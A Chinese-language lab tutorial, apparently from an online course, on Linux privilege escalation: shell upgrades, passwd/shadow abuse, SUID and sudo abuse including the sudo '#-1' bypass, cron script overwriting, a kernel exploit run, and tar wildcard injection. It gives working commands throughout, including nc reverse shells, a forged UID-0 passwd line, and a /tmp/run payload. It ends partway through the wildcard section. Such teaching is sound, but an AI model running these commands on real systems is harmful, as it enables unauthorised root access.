liunx提權
反彈shell升級交互式反彈sehell
反彈的服務器
接受的服務器
連接上之后的shell,沒有tab鍵補全,不可以上下鍵顯示歷史命令
你會發現并不能如愿所償,「上下方向鍵」被強制轉換為了 ^[[A、^[[B 等字符。
正是由于「簡單 shell」的各種缺陷,在滲透測試后期提權、內網滲透時都會帶來很多困擾,所以接下來我們需要先將「簡單 shell」升級為支持交互式的「交互式 shell」。
方法一:
通過Python創建偽終端升級(pts)
首先確認目標主機是否支持 Python 環境,通過which python
和which python3
這兩個命令,分別查看目標主機是否支持 Python2 和 Python3 環境。
使用python的pty模塊創建一個偽終端
python -c 'import pty; pty.spawn("/bin/bash");'
方法二:
socat
首先查看目標主機是否有socat
which socst
接收方:
先監聽
socat file:`tty`,raw,echo=0 tcp-listen:5912
然后在「簡單 shell」中執行如下命令,反彈一個完整的 tty shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
提取的文字: `socat` 反彈回的 shell 支持歷史命令、tab 補全、ctrl-c 等功能
passwd文件提權
Linux 密碼信息保存在兩個文件中,分別為: /etc/passwd 和 /etc/shadow
/etc/passwd 文件用于保存用戶信息,每一行代表一個用戶,每一行通過冒號:分為七個部分:
- 用戶名
- 密碼,若為 x 則表示密碼保存在 /etc/shadow
- UID,0 代表 root
- GID,表示所在組
- 描述信息,依次為 Full Name、Room Number、Work Phone、Home Phone 和 Other
- 用戶主目錄
- 默認 shell 類型
例如,假設 /etc/passwd 文件中其中一行信息如下:
簡單來說,當你登錄 Linux 系統時會有以下幾個步驟:
- 檢測「輸入的用戶名」是否與 /etc/passwd 文件中某一行第一個字段匹配。
- 若匹配成功,再對比該行第二個字段的密碼,如果均匹配成功即登錄成功。
- 登錄成功之后所具有的權限,通過第三個字段 UID 和第四個字段 GID 確定。
- 其中 UID=0 代表 root 用戶,也就是說 —— 無論第一個字段代表的用戶名是什么,只要 UID=0,則該賬戶就擁有 root 權限。—— 這點在提權中非常重要。
由此可見,/etc/passwd 文件在 linux 登錄認證過程中起到非常關鍵的作用。
試想,如果我們能夠對 /etc/passwd 文件內容進行偽造、篡改,那就能很輕易的登錄成功并獲取任意用戶權限。
不過一般情況下,只有 root 用戶擁有對 /etc/passwd 文件的寫入權限,其他用戶均只有讀取權限。但有時候由于系統管理員的錯誤配置,也會給我們帶來可乘之機。
通常來說,通過 /etc/passwd 提權的方法有兩種:
- 如果具有 /etc/passwd 的 w (寫入) 權限,可以直接添加一個 root 權限的用戶
- 如果 /etc/passwd 中存儲 root 用戶密碼哈希,可以使用 john 進行破解
kal自帶john,先將hash的密碼寫入1.txt
shadow文件提權
/etc/shadow文件用于存儲加密后的密碼和密碼相關的配置信息,該文件的每一行代表一個用戶,每行都包含 9 個字段,用冒號(":")隔開,順序如下:
-
用戶名
-
加密后的密碼
-
上次修改密碼的時間(從 1970.1.1 開始的總天數)
-
兩次修改密碼間隔的最少天數,如果為 0,則沒有限制
-
兩次修改密碼間隔最多的天數,表示該用戶的密碼會在多少天后過期,如果為 99999 則沒有限制
-
提前多少天警告用戶密碼將過期
-
在密碼過期之后多少天禁用此用戶
-
用戶過期日期(從 1970.1.1 開始的總天數),如果為 0,則該用戶永久可用
-
保留,未來使用
例如,假設 /etc/shadow
文件中其中一行信息如下:
其含義解讀如下:
-
用戶名:test-user
-
加密后的密碼:
$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0
-
上次修改密碼的時間(從 1970.1.1 開始的總天數為 17470)
-
兩次修改密碼最小間隔天數:沒有限制
-
兩次修改密碼最大間隔天數:沒有限制
-
提前 7 天警告用戶密碼將過期
-
該用戶永久可用
默認情況下,只有 root 權限才能讀取和修改 /etc/shadow
文件,但有時候由于系統管理員的錯誤配置,也會給我們帶來可乘之機。
通常來說,通過 /etc/shadow
提權的方法有兩種:
-
如果具有
/etc/shadow
的 w (寫入) 權限,可以直接修改 root 密碼 -
如果具有
/etc/shadow
的 r (讀取) 權限,可以通過讀取 root 用戶密碼并使用 john 進行破解
SUID提權(現今有用)
通常情況下,Linux 運行一個程序,是使用當前運行這個程序的用戶權限,這種機制是非常合理的,但有一些程序比較特殊,比如我們常用的 ping
命令。
ping
需要發送 ICMP 報文,這個操作需要發送 Raw Socket,而使用 Raw Socket 是需要 root
權限,那怎么才能讓普通用戶也能使用 ping
命令呢?這時候就要使用到 suid
。
suid
全稱是 Set owner User ID up on execution ,即——使文件在執行時擁有文件所有者的權限。
我們使用如下命令查看 ping 命令的權限設置:
ls -alh /bin/ping
你會發現 ping
的權限中多了一個 s
,這就是 suid。因此無論任何用戶在執行 ping
命令時,ping
命令本身都將擁有其所有者的權限,而 ping
的所有者是 root 用戶,所以 ping
就擁有了 root 權限。
試想,如果擁有 suid
權限(root)的某文件提供了文件修改、執行系統命令的功能,那就能被攻擊者惡意利用來提升系統權限——這就是 SUID 提權的原理。
下面給大家介紹幾種常用的 SUID 提權方法。
nmap提權
首先需要初始化實驗環境,打開終端并執行如下命令:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh
當使用 nmap
進行「UDP 掃描」或「SYN 掃描」時,需要調用 Raw Socket,因此需要 root 權限。
nmap
默認不具有 suid
權限,每次使用的都需要加上 sudo
:
有些管理員為了使用方便,便給 nmap 加上了 s
權限。
但別忘了,僅具有 s 權限是不能用于提權的,還需要該文件擁有執行系統命令
或修改文件
的功能,恰巧 nmap 2.02~5.21
版本提供了執行系統命令的功能。
使用命令 nmap --version 查看實驗環境中 nmap 的版本:
恰好是 2.01~5.21
之間的版本,此版本可使用命令 nmap --interactive
進入一個交互界面,在該模式下輸入 !sh
便可獲取一個 shell,如下圖所示:
由于此時 nmap 并不具有 s
權限,因此獲取到的 shell 為 shiyanlou 用戶權限。
使用如下命令給 nmap 加上 s
權限:
sudo chmod u+s /usr/bin/nmap
此時 nmap 已經擁有了 s 權限,且文件所有者為 root 用戶,再嘗試以上方法便可獲得 root 權限的 shell。
此處由于實驗樓提供的虛擬技術關系,造成提權不成功,一般情況下是能夠提權成功的。
find 提權
當 find 命令具有 s 權限時,可以借助 find 執行系統命令從而提權。
使用命令 ls -alh /usr/bin/find
查看 find
命令權限:
find 執行系統命令的語法如下:
find <file> -exec <command> \;
其中 <file>
可以為任意文件,因此我們可以先使用 touch
命令創建一個文件 test
:
然后通過 test 文件執行命令:
find test -exec whoami \;
這樣就能以 root 權限執行命令了,但每次執行命令都要這樣寫未免很麻煩,并且正如之前我們在「TTY shell」中我們講到了,這種方式并不支持需要交互的命令,例如 ssh、su
等。
同學們可以稍微思考一下:如何獲取一個更方便的 root 權限的 shell 呢?
其實方法很簡單,我們可以直接執行 /bin/bash 命令即可:
find test -exec /bin/bash -p \;
注意:必須使用 -p
參數,否者無法獲取 root 權限,至于原因可以參看我寫的這篇文章,這里不再贅述。
cp 和 mv 命令
當 cp
和 move
命令具有 s 權限時,可以通過覆蓋 /etc/passwd
或 /etc/shadow
文件,從而獲取 root 權限。
使用命令 ls -alh /bin/cp
查看 cp
命令權限,可以看到 cp
已經有了 s 權限:
先將 /etc/passwd
的內容復制一份到用戶主目錄下 ~/passwd
:
cat /etc/passwd > ~/passwd
此處不使用 cp 進行復制,因為 cp 會將文件權限一起復制。
然后利用之前在「Linux 提權之 passwd 文件提權」這一章節中提到的方法,我們創建一行用戶數據如下:
-
用戶名:hacked
-
密碼:pass123
hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
然后將這行添加到 ~/passwd
文件中:
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd
最后,通過 cp
命令的 s 權限,用 ~/passwd
覆蓋 /etc/passwd
:
cp ~/passwd /etc/passwd
覆蓋完成后,通過 su hacked
命令切換即可切換到 hacked 用戶(密碼 pass123):
由于 hacked 用戶的 uid=0
,因此我們切換之后成功獲取到 root 權限。
move
命令的提權方法和 cp
命令非常類似,這里就不再贅述,同學們可以自行嘗試一下,如果你有問題歡迎留言。
以上已經給大家介紹了多種 SUID 可執行文件的提權方法,實際上可用于 SUID 提權的還有很多,這里就不給大家一一列舉了,可以通過以下網址查詢提權方法:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
通過搜索找到對應的命令,查看詳情便可知道具體提權方法。
如何查找 SUID 可執行文件
在實戰中,我們可以使用如下命令來查找主機上所有具有 s
權限的可執行文件:
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
但是查詢結果中,通常有大量的無法利用來提權的可執行文件,需要人工進行分析。
有沒有辦法通過自動化腳本來自動分析呢?有的,我寫了一個簡單的腳本來完成自動化分析,項目地址如下:
https://github.com/Jewel591/suidcheck
使用 wget
下載 suidcheck.sh
:
wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh
給 suidcheck.sh
加上可執行權限并執行:
chmod +x suidcheck.sh ./suidcheck.sh
紅框中的結果,就是可用來提權的可執行文件:
此腳本非常簡單,各位同學如果有時間和興趣也可以自己編寫腳本,別忘了在評論區留言分享你的成果哦!
實驗總結
在本節實驗中,我們學習了什么是 SUID 權限,并掌握了通過 nmap、find、cp
三種命令提權的方法。
實際上可通過 SUID 提權的命令遠不止這三種,例如 cat、vim、more、sed
等命令也都可以進行 SUID 提權,但只要你掌握實驗中提到的提權思路,其他命令也就能融會貫通了。
sudo提權
什么是 sudo 權限
在 Linux 中,sudo 命令的作用是讓當前用戶以 root 或其他用戶身份(取決于 /etc/sudoers 文件配置)運行命令,sudo 這個詞是「Super User Do root privilege task」的縮寫。
而 /etc/sudoers
就是 sudo 權限的配置文件,該文件用于配置具有 sudo 權限的用戶和組,當你使用 sudo 運行任何命令時,Linux 系統會檢查 sudoers 文件中配置的用戶名或組,若當前用戶和當前用戶所在的用戶組均不在 sudoers 文件中,則不能使用 sudo 命令。
Sudo 配置文件語法
sudo 的配置文件是 /etc/sudoers
,使用如下命令查看實驗主機上 sudoers
的配置:
sudo cat /etc/sudoers
重點關注 # User Privilege specification
這行下面的內容,此處是針對特定的用戶配置 sudo 權限,如上圖所示可以看到一條配置:
root ? ?ALL=(ALL:ALL) ALL
這行配置的含義如下圖所示(Tag 是可選的):
這行配置意為:root 用戶在所有的主機上,能夠以任何用戶、任何用戶組的權限,執行任何命令。
很多同學會有疑惑,上面提到的”任何用戶/任何用戶組“是什么意思呢?
其實是因為我們在執行 sudo 命令時,可以使用-u
來指定命令以某個特定用戶的權限運行,只要 sudoers 文件中配置允許就可以,例如我們想以用戶 www-data 的權限來執行 whoami 命令:
sudo -u www-data whoami
同理也可以使用-g
來指定命令以某個特定用戶組的權限運行。
Tag
是可選的,當被設置為 NOPASSWD 時,意味著執行 sudo 無需密碼。
下面通過一個實例來說明如何配置 sudoers:
假設我們要允許用戶 lanqiao
可以在所有主機上,以 root 用戶的權限執行 more 和 cp 命令且無需輸入密碼,那么可以這樣配置:
# 多個命令用,分割 lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more # 用戶和用戶組相同時,可以簡寫為一個 lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more
理論知識先講到這里,相信大家對 sudoers 的配置語法已經有了基本的理解,下面我們通過實驗來學習幾種常見的通過 sudo 提權的方法。
具有 root 權限的命令
這種情況是指:可以通過 sudo 以 root 權限執行某些命令,并通過這些命令獲得一個 root 權限的 shell,又細分了兩種情況:
-
允許執行某個或某些命令,且未對命令參數做限制
-
只允許執行某條帶參數的具體命令
第一種:sudo 允許執行某個命令,但未對命令參數做限制
執行如下命令,完成初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh
如上圖所示,此時我們已經切換為了普通用戶 tomcat-syl (用于模擬攻擊者獲取的初始 shell ),接下來需要通過 sudo 的配置疏漏提升到 root 權限。
使用sudo -l
命令查看當前用戶的 sudo 權限:
如上圖所示,可以看到如下一行配置:
(root) NOPASSWD:/usr/bin/find
等同于:
tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find
意為 tomcat-syl 被允許以 root 權限執行 find 命令,并且無需密碼。這種場景的提權方法和實驗四中我們講過的 SUID 提權非常相似,可以通過下面這條命令提權:
sudo find /home -exec /bin/bash \;
可以看到成功提權到 root 權限,原理如果不清楚的同學可以再回去看一下實驗四,這里不再贅述。
如果是其他命令,和之前實驗中我們講過的一樣,可以通過以下網址查詢提權方法:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
通過搜索找到對應的命令,查看詳情便可知道具體提權方法。
第二種:sudo 允許執行某條帶參數的具體命令
重新打開一個終端,執行如下命令,完成初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh
同樣使用sudo -l
命令查看當前用戶的 sudo 權限:
可以看到如下一行配置:
(root) NOPASSWD: /bin/less /var/log/messages
等同于:
tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages
注意: /bin/less
和/var/log/messages
之前沒有,
說明這是一條完整的命令。
意為:tomcat-syl 被允許以 root 權限執行命令 less /var/log/messages
,這種情況下由于命令參數被寫死,所以發揮空間就沒有第一種那么大了,一般只有特定的一些情況可以提權,less 命令是其中之一。
鍵入命令 sudo less /var/log/messages
查看日志,隨后輸入 !/bin/bash
可以獲得一個 root 權限的 shell:
sudo 自身的漏洞
執行如下命令,完成初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh
首先使用 sudo -l 查看當前用戶的 sudo 權限:
注意ALL
和!root
之間是用逗號隔開的,意為:tomcat-syl 用戶可以以任意非 root 身份運行所有的命令且無需密碼。
例如我們指定以 shiyanlou 用戶的身份運行 whomai 命令:
sudo -u shiyanlou whoami
如上圖所示,此時的用戶權限為 shiyanlou。
若指定以 root 用戶的身份運行 ,則系統會提示輸入密碼:
sudo -u root whoami
看來我們無法通過常規的 sudo 提權方法提升至 root 權限,但是別著急,下面我們再嘗試一下 sudo 本身的漏洞。
首先使用 sudo —-verison
來查看實驗主機上 sudo 的版本:
如上圖所示,sudo 版本為 1.8.16。
這里要為大家介紹一個在滲透測試中用的非常多的網站——「exploit-db」
,是 Kali Linux 開發團隊維護用于收集公開漏洞情報的平臺,在 Kali Linux 中內置的 searchsploit 命令行工具對應的數據就來自「exploit-db」
,網址如下:
https://www.exploit-db.com/
左邊選擇 EXPLOITS
,點擊右上角的搜索圖標,輸入 sudo 1.8
進行搜索:
搜索結果中展示了幾個 sudo 的漏洞,點擊sudo 1.8.27 - Security Bypass
查看詳情:
該漏洞在 1.8.28 版本修復了,我們實驗環境中是 1.8.16,很幸運的也在影響范圍內,該漏洞的原理如下:
當用戶在使用 sudo 命令時,通過指定 UID 為 #-1 或 #4294967295,就可以以 root 身份執行命令。 這是因為命令在將 UID 轉換為對應用戶時,會將 -1 或 4294967295 這兩個異常數字視為 0,而 0 是 root 用戶的 UID。
下面我們嘗試一個這個漏洞,在命令行執行以下命令:
sudo -u "#-1" whoami sudo -u "#4294967295" whoami
如上圖所示,我們成功繞過了 sudoers 配置文件的限制。
類似于之前 SUID 提權中提到的,使用如下命令便可獲得一個 root 權限的 shell:
sudo -u "#-1" bash -p
當然 sudo 還有其他漏洞可以被利用來提權,我們這里只是拋磚引玉,同學們在實戰的時候可以根據 sudo 的版本,在 exploitdb 上查詢具體的漏洞來進行利用。
CronJobs提權
知識點
-
什么是 Cron Jobs
-
crontab 語法
-
crontab 執行腳本內容覆蓋提權
什么是 Cron 定時任務
Cron Jobs 是 Linux 系統中的「定時任務」,常被用來安排那些需要周期性執行的命令,例如定期備份數據、定期清理緩存等功能,因為使用到 cron
工具(crontab),因此被稱作 Cron Jobs。
CronJobs 作為系統管理員最常用的功能之一,本身是非常棒的一個工具,但如果「定時任務」被設定為以更高的用戶權限運行(例如 root 用戶),則可能會被黑客利用來提權。
crontab 命令使用語法如下:
* ? * ? * ? * ? * ? [ user ] File/Command - ? ?- ? ?- ? ?- ? ?- | ? | ? | ? | ? | | ? | ? | ? | ? ?+----- 星期中星期幾 (0 - 7) (星期天 為0) | ? | ? | ? ?+---------- 月份 (1 - 12) | ? | ? ?+--------------- 一個月中的第幾天 (1 - 31) | ? ?+-------------------- 小時 (0 - 23) +------------------------- 分鐘 (0 - 59)
其中 user
是可選的,若不指定用戶,則使用當前用戶的權限指定。
需要注意的是,只有 root 用戶才能指定以其他用戶的權限來執行命令或腳本。
舉個例子:
如果我們想實現每小時輸出一次 Apache 報錯日志,可以使用如下語句:
0 * * * * echo /var/log/lastlog
因為小時
、天
、月
、周
都被設定為 *
,因此每當分鐘到達 0 時都會執行一次定時任務——即每小時執行一個。
那如果需要每兩小時的第 15 分鐘執行一次命令,應該如何實現呢?
我們只需要做一個簡單的修改就可以了:
15 */2 * * * echo /var/log/lastlog
下面我們通過一個示例來理解一下cron
的用法。
先執行如下命令初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash
初始化成功之后,你在 shiyanlou 用戶主目錄下能看到 cleanup.py 文件和 trashDirectory
目錄,如上圖所示。
trashDirectory
目錄下有 error.log
和 readme.txt
兩個文件
我們的實驗目標如下:
通過 crontab
添加一個定時任務,每 1 分鐘通過調用 cleanup.py
腳本清除 ~/trashDirectory
目錄下的所有數據。腳本 cleanup.py 的代碼很簡單,通過 os.system()
函數調用 rm 系統命令來清空 ~/trashDirectory
目錄:
接下來使用如下命令在 crontab 中添加一條定時任務:
sudo vim /etc/crontab * * ? ? * * * ? root ? python /home/shiyanlou/cleanup.py
由于我們的實驗機器上 cron 服務默認是關閉的,所以我們需要手動使用下列命令開啟 cron 服務:
sudo service cron start
接下來我們進入 ~/trashDirectory 目錄,使用 ls 命令查看文件夾下的文件:
可以看到,大概一分鐘后 ~/trashDirectory
文件夾下數據被清空,說明 cron jobs 正常執行。
至此,我想大家應該已經理解了 cron 的基本用法,那么下面我們就開始學習如何通過 Cron Jobs 提權。
通過重寫 crontab 調用腳本提權
首先執行如下命令以初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh
如上圖所示,此時我們已經切換到了 tomcat-syl 用戶(用于模擬攻擊者獲取的初始 shell ),我們需要想辦法提權到 root 權限。
使用如下命令查看主機上的計劃任務:
cat /etc/crontab;
有一條定時任務引起了我們注意:系統每分鐘執行一個 ~/cleanup.py 腳本,并且是以 root 用戶的權限運行。
我們查看一下 ~/cleanup.py
腳本文件的內容:
cat /home/shiyanlou/cleanup.py
發現是一個定時清理目錄的任務。
接下來我們再查看該腳本的權限:
ls -al /home/shiyanlou/cleanup.py
發現了嗎? cleanup.py
的文件權限設置存在風險:其他用戶也擁有 w
權限,這意味著我們可以編輯修改 cleanup.py 的內容!
由于 cleanup.py 是以 root 權限運行的,因此我們可以利用的提權的方法非常多,下面我們列舉兩種方法。
利用 cleanup.py 反彈 root 權限的 shell
修改 cleanup.py
腳本執行的命令為如下命令:
# 使用 nc 向本地 4444 端口反彈一個 shell nc 127.0.0.1 4444 -e /bin/bash
然后執行如下命令監聽本地的 4444 端口:
nc -lnvp 4444
等待一會之后,成功接收到了反彈回的 shell,并且是 root 權限。
構建 SUID 提權
還記得之前我們講過的 SUID 提權嗎?我們也可以通過 cleanup.py
腳本將某些可執行文件修改為 S 權限,這樣我們便可以利用它進行 SUID 提權,例如為 bash 添加 S 權限。
此時 /bin/bash
是沒有 s 權限的:
和之前一樣,修改 cleanup.py
腳本執行的命令為如下命令:
chmod +s /bin/bash
稍等一下,查看 /bin/bash
發現已經擁有了 s 權限,所以定時任務成功執行:
如上圖所示,使用 bash -p
即可獲取 root 權限。
crontab 通配符注入提權
實際滲透測試中,經常還會遇到 crontab 和 「Linux 通配符注入」結合進行提權的場景,但是由于通配符注入需要講的內容還比較多,所以我們會在下一章中給大家介紹這種方法。
實驗總結
在本節實驗中,我們學習了什么是 Cron Jobs 和 Cron 的使用語法,并通過實驗掌握了 crontab 的使用方法,最后我們通過 crontab 的不正確配置將 shell 成功提權到 root 權限。
內核漏洞提權(現今有用)
知識點
-
什么是 Linux 內核漏洞?
-
如何查詢 Linux 發行版本、內核版本信息?
-
如何查找可利用的內核漏洞?
-
如何上傳文件到靶機?
-
下載、編輯、執行 exp 的方法
實驗開始
在學習內核漏洞提權之前,需要給大家強調一個關鍵點:
Linux 內核漏洞可能會造成 Linux 系統崩潰、宕機,因此請優先嘗試前面幾章中講解的提權方法,僅當前幾種方法都無法成功提權時,才考慮使用內核漏洞來提權。
什么是 Linux 內核:
Linux 內核是 Linux 操作系統的主要組成部分,是計算機硬件與其進程之間的核心接口。它在兩者之間進行交流,盡可能有效地管理資源。
內核之所以如此命名,是因為它就像硬殼里的一顆種子,存在于操作系統中,控制著硬件的所有主要功能,無論是手機、筆記本電腦、服務器還是其他任何類型的計算機。
什么是 Linux 內核漏洞:
Linux 內核是 Github 上的一個開源項目,擁有近百萬次 commit,開發人員超過 5000 人,其中包括來自微軟、谷歌、英特爾和紅帽等科技巨頭的人才。
既然開發人員如此之多,代碼修改如此頻繁,必然會有各種各樣的 Linux 內核漏洞出現。多年來,Linux 內核已經成為了積累漏洞最多的開源項目之一。
Linux 內核漏洞提權,就是通過利用 Linux 內核漏洞來執行具有高權限的任意代碼,從而達到提權的目的。
使用內核漏洞提權一般包含以下三個步驟:
-
收集信息:確認目標主機 Linux 發行版本號、內核版本號
-
查找漏洞:根據發行版本號和內核版本號搜索可利用的內核漏洞
-
執行攻擊:下載漏洞利用 EXP、編譯 exp、執行 exp
下面我們通過一個實驗,來給大家詳細的講解這三個步驟的具體方法。
本章實驗我們需要使用到 Metasploitable2 虛擬靶機,使用如下命令開啟靶機:
sudo virsh start Metasploitable2
Metasploitable2 靶機的信息如下:
-
IP:
192.168.122.102
-
用戶名:
msfadmin
-
密碼:
msfadmin
Metasploitable2 是 kvm 搭建的靶機,所以啟動會比較慢。稍微等待 1~2 分鐘,直到可以 ping 通192.168.122.102
為止:
使用 ssh 連接到靶機,密碼是 msfadmin,命令如下:
ssh msfadmin@192.168.122.102
如上圖所示,成功登錄Metasploitable2
,權限是普通用戶 msfadmin
——用于模擬滲透測試獲取到的初始 shell。
接下里我們將演示,從收集主機信息,到查找內核漏洞,再到下載、編譯、利用漏洞 exp 提權到 root 權限的全過程。
收集信息
一般需要關注 Linux 的發行版本、內核版本,分別使用以下兩個命令進行查詢:
-
lsb_release -a
可以知道靶機運行的是 Ubuntu 發行版本,版本號為 8.04。
某些發行版本的 Linux 不支持 lsb_release
命令,可以使用 uname -sn
來查詢。
-
uname -r
uname -r
是用來查詢 Linux 內核版本,注意和發行版本作區分。
從上圖可知,靶機的內核版本為2.6.24
。
查找漏洞
我們已經知道了靶機的發行版本和內核版本,接下來需要使用這兩個數據去查詢可能存在的內核漏洞。查詢方法常用的有如下幾種:
-
searchsploit
命令行工具(僅在 Kali Linux 上) -
Exploit-db.com
-
Google 搜索引擎
[Exploit-db.com](http://exploit-db.com)
和searchsploit
都是同一個數據庫,我們這里演示[Exploit-db.com](http://exploit-db.com)
的查詢方法。
打開網址:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers,選擇左上角的 EXPLOITS
:
先在右上角的 Search 輸入關鍵詞,因為是內核漏洞提權,所以先輸入 privilege
和 kernel
。
然后再鍵入內核版本 2.6 (一般先搜索大版本即可,搜索小版本可能導致搜索結果有遺漏)和 Linux 發行版本 ubuntu。最后的搜索關鍵字組合是:
privilege kernel 2.6 ubuntu
然后點擊右上角的Filter
,在高級搜索中,Type 選擇 local
、Platform 選擇 Linux
:
如上圖所示,共得到 10 條結果,一般我們先嘗試經過驗證的 exp —— 即左邊有綠色小勾的。
如果是 searchsploit
命令行工具,使用如下命令可以查詢到相同的結果,你可以在 Kali Linux 中嘗試一下:
searchsploit privilege|grep -i linux|grep -i kernel|grep -i 2.6|grep -i ubuntu
執行攻擊
注意:并不是每一條漏洞都可以提權成功的,通常情況下,我們會逐一嘗試利用。
這里為了節約大家時間,我們直接選取一條可以提權成功的來做演示:
接下來需要下載 exp,因為大多數情況下靶機是沒有連接外網的權限的,所以都是下載到攻擊機(例如 Kali Linux),然后再搭建 HTTP 服務上傳到靶機。
右鍵下載按鈕,復制下載鏈接地址:
在靶機上使用 wget
工具下載并存儲到 /tmp/exploit.c
,命令如下(主機是在 shiyanlou
用戶 終端,不要在 Metasploitable2 的 ssh 終端中下載):
wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c
接下來進入/tmp
目錄,使用 Python3 快速搭建 HTTP 服務,端口為 8000:
cd /tmp python3 -m http.server 8000
使用 ip addr
命令查詢到主機 IP 地址為 192.168.122.1
:
在 Metasploitable2 終端中使用 wget 工具下載 exploit.c
并保存到/tmp
:
wget 192.168.122.1:8000/exploit.c -P /tmp
接下來就需要編譯 exploit.c
,需要使用到 gcc
工具,命令如下:
gcc exploit.c -o exploit
/tmp
目錄下會生成一個名為 exploit 的可執行文件:
嘗試執行./exploit
,彈出如下提示:
說明我們需要回去看一下 exp 的使用方法:
閱讀以上說明,使用方法如下:
-
執行
./exploit PID
需要指定/proc/net/netlink
進程的 PID 號 -
執行成功后,會自動以 root 權限執行
/tmp/run
腳本,腳本內容需要我們自己創建,payload 我們可以任意發揮。
按照以上說明,先查看/proc/net/netlink
進程 ID:
cat /proc/net/netlink
獲取到 pid 為 2410,接下來我們創建 /tmp/run
shell 腳本:
echo '#!/bin/bash' >> /tmp/run echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run chmod +x /tmp/run
/tmp/run
腳本的內容如下:
#!/bin/bash nc 192.168.122.1 4444 -e /bin/bash
這樣,當該腳本被執行時,就會向 192.168.122.1
的 4444 端口反彈 shell,所以我們現在本地主機上使用 nc 監聽 4444 端口:
nc -lnvp 4444
一切準備就緒,在靶機上執行如下命令:
./exploit 2410
如上圖所示,成功反彈回 shell。
實驗總結
在本節實驗中,我們了解了什么是 Linux 內核、什么是 Linux 內核漏洞,并通過一個具體的實驗,理解了收集信息、查找漏洞、執行攻擊、完成提權的全過程。通常來說,并非每次都能迅速找到可利用成功的漏洞 exp,如果攻擊不成功可以嘗試下面兩種方法:
-
更換相同 CVE 漏洞的不同 exp
-
更換不同的 CVE 漏洞
總結一句話:內核漏洞提權一定要有耐心~
通配符注入提權
知識點
-
通配符注入原理介紹
-
tar 通配符注入示例
-
crontab 搭配 tar 提權實驗
實驗開始
什么是通配符:
對 Linux 有一定了解的同學應該會知道通配符,通配符是一個字符或一組字符,可以用來替換某些范圍/類別的字符。
下面是一些常見的通配符:
-
*
星號可以與文件名中的任意數量的字符匹配,包括 0 個字符。 -
?
問號用于匹配任意單個字符。 -
[]
括號內包括一組字符,其中任何一個字符都可以匹配該位置上的單個字符。 -
~
單詞開頭的波浪符表示當前用戶的主目錄的名稱。如果該字符后面是另一個用戶的登錄名,則表示該用戶的主目錄。
其中,在實際的 Linux 提權中,我們使用到比較多的是*
和-
,首先通過一個示例了解一下 Linux shell 對-
字符會怎么處理的。
先運行如下命令初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_introduction.sh > ~/init_Wildcard_introduction.sh;chmod +x ~/init_Wildcard_introduction.sh;sudo ./init_Wildcard_introduction.sh
初始化完成之后,可以看到當前目錄下有一個文件名為—-help
的文件,大家先思考并嘗試一下,你要如何查看他的內容呢?
如果你使用 cat —-help
命令查看,會有如下提示:
類似的,如果你使用 vim —-help
查看也是一樣的:
這是因為在 Linux shell 中,-
會被解釋為命令參數,如果你要查看-—help
文件的內容,就需要避免以-
為文件名的開頭,例如你可以使用:
cat ~/--help
這樣就可以避免 shell 將—-help
解釋為參數,而通配符注入正好就是利用的 shell 這一特點。
通配符注入通常會和 cron job 結合使用,下面我們通過實戰來理解 tar 命令的通配符注入。
Crontab Tar 通配符注入:
通配符注入經常會和 Crontab 一起使用,下面我們通過一個實驗來理解經典的 tar
通配符注入提權。
首先執行如下命令以初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh > ~/init_Wildcard_Injection.sh;chmod +x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh
如上圖所示,實驗環境初始化完成后,我們切換到了 tomcat-syl 用戶(用于模擬攻擊者獲取的初始 shell),接下來需要通過利用 tar 通配符注入漏洞提權到 root 權限。
首先使用如下命令查看 crontab
中有哪些定時任務:
cat /etc/crontab;
可以看到上圖紅框中,管理員配置了這樣一條定時任務:每分鐘執行一次,將 /var/www/html/
文件夾中的所有內容打包到 /var/backups/html.tgz
進行備份。
接下來我們查看 /var/www/html
目錄下有哪些文件:
想利用 tar 進行通配符注入,我們需要在 /var/www/html/
文件夾下創建以下 3 個文件:
創建 shell.sh
,內容為使用 nc
反彈 shell 到本地 4444 端口:
cd /var/www/html/ echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh
創建名為--checkpoint-action=exec=sh shell.sh
的文件,因為文件名中有空格,所以需要使用引號報告:
